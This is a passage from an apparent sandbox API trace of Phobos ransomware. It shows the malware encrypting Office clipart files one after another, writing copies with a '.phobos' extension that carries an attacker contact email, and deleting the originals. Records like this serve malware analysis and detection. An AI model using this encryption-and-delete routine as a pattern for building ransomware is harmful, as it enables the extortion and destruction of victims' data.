lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.506] CryptDestroyKey (hKey=0x752f58) returned 1 [0139.506] CloseHandle (hObject=0x310) returned 1 [0139.506] CloseHandle (hObject=0x2b4) returned 1 [0139.506] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1 [0139.507] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.508] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=15680) returned 1 [0139.508] CloseHandle (hObject=0x2b4) returned 1 [0139.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0139.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.508] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.509] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.509] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753098) returned 1 [0139.509] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.509] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x3d40, lpOverlapped=0x0) returned 1 [0139.511] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3d50, dwBufLen=0x3d50 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x3d50) returned 1 [0139.511] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x3d50, lpOverlapped=0x0) returned 1 [0139.512] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752b18) returned 1 [0139.512] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.512] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.512] CryptDestroyKey (hKey=0x752b18) returned 1 [0139.512] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.512] CryptDestroyKey (hKey=0x753098) returned 1 [0139.512] CloseHandle (hObject=0x2b4) returned 1 [0139.512] CloseHandle (hObject=0x310) returned 1 [0139.512] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0139.513] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.513] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=21268) returned 1 [0139.513] CloseHandle (hObject=0x310) returned 1 [0139.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0139.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.513] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.513] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.514] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e98) returned 1 [0139.514] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.514] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x5314, lpOverlapped=0x0) returned 1 [0139.615] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5320, dwBufLen=0x5320 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x5320) returned 1 [0139.615] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x5320, lpOverlapped=0x0) returned 1 [0139.617] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752dd8) returned 1 [0139.617] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.617] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.617] CryptDestroyKey (hKey=0x752dd8) returned 1 [0139.617] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.617] CryptDestroyKey (hKey=0x752e98) returned 1 [0139.617] CloseHandle (hObject=0x310) returned 1 [0139.617] CloseHandle (hObject=0x2b4) returned 1 [0139.617] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0139.618] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.619] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=28212) returned 1 [0139.619] CloseHandle (hObject=0x2b4) returned 1 [0139.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0139.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.619] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.619] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.620] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753158) returned 1 [0139.620] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.620] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x6e34, lpOverlapped=0x0) returned 1 [0139.665] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x6e40, dwBufLen=0x6e40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x6e40) returned 1 [0139.665] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x6e40, lpOverlapped=0x0) returned 1 [0139.666] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0139.666] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.666] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.666] CryptDestroyKey (hKey=0x752cd8) returned 1 [0139.666] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.666] CryptDestroyKey (hKey=0x753158) returned 1 [0139.666] CloseHandle (hObject=0x2b4) returned 1 [0139.666] CloseHandle (hObject=0x310) returned 1 [0139.666] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0139.667] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.667] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=17638) returned 1 [0139.667] CloseHandle (hObject=0x310) returned 1 [0139.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0139.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.668] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.668] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.669] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752ad8) returned 1 [0139.669] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.669] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x44e6, lpOverlapped=0x0) returned 1 [0139.689] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x44f0, dwBufLen=0x44f0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x44f0) returned 1 [0139.689] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x44f0, lpOverlapped=0x0) returned 1 [0139.690] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d58) returned 1 [0139.690] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.690] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.690] CryptDestroyKey (hKey=0x752d58) returned 1 [0139.690] WriteFile (in: hFile=0x2b4, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.690] CryptDestroyKey (hKey=0x752ad8) returned 1 [0139.690] CloseHandle (hObject=0x310) returned 1 [0139.690] CloseHandle (hObject=0x2b4) returned 1 [0139.690] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0139.691] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.691] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=6934) returned 1 [0139.691] CloseHandle (hObject=0x2b4) returned 1 [0139.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0139.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.692] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.692] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.692] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e98) returned 1 [0139.692] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.692] ReadFile (in: hFile=0x2b4, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x1b16, lpOverlapped=0x0) returned 1 [0139.697] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x1b20) returned 1 [0139.697] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x1b20, lpOverlapped=0x0) returned 1 [0139.700] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752ed8) returned 1 [0139.700] CryptSetKeyParam (hKey=0x752ed8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0139.700] CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0139.700] CryptDestroyKey (hKey=0x752ed8) returned 1 [0139.700] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0139.700] CryptDestroyKey (hKey=0x752e98) returned 1 [0139.700] CloseHandle (hObject=0x2b4) returned 1 [0139.700] CloseHandle (hObject=0x310) returned 1 [0139.700] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0139.701] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0139.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.701] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=42050) returned 1 [0139.702] CloseHandle (hObject=0x310) returned 1 [0139.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0139.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0139.702] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.702] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0139.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0139.755] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, 